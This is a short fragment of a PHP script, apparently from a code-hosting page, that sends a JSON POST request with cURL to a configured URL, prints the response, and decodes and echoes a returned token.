curl_setopt_array($curl, [
|
||||
CURLOPT_URL => $ruta,
|
||||
CURLOPT_RETURNTRANSFER => true,
|
||||
CURLOPT_ENCODING => "",
|
||||
CURLOPT_MAXREDIRS => 10,
|
||||
CURLOPT_TIMEOUT => 0,
|
||||
CURLOPT_CUSTOMREQUEST => "POST",
|
||||
CURLOPT_POSTFIELDS => json_encode($required_params),
|
||||
CURLOPT_HTTPHEADER => [
|
||||
"Content-Type: application/json"
|
||||
],
|
||||
]);
|
||||
$response = curl_exec($curl);
|
||||
print_r($response);
|
||||
$err = curl_error($curl);
|
||||
|
||||
curl_close($curl);
|
||||
|
||||
if ($err)
|
||||
die("cURL Error #:$err");
|
||||
|
||||
$token = json_decode($response, true);
|
||||
echo "token $token";
|
||||
}catch(Exception $e){
|
||||
echo $e->getMessage();
|
||||
exit();
|
||||
}
|
||||
?>
|
||||
Reference in New Issue
Block a user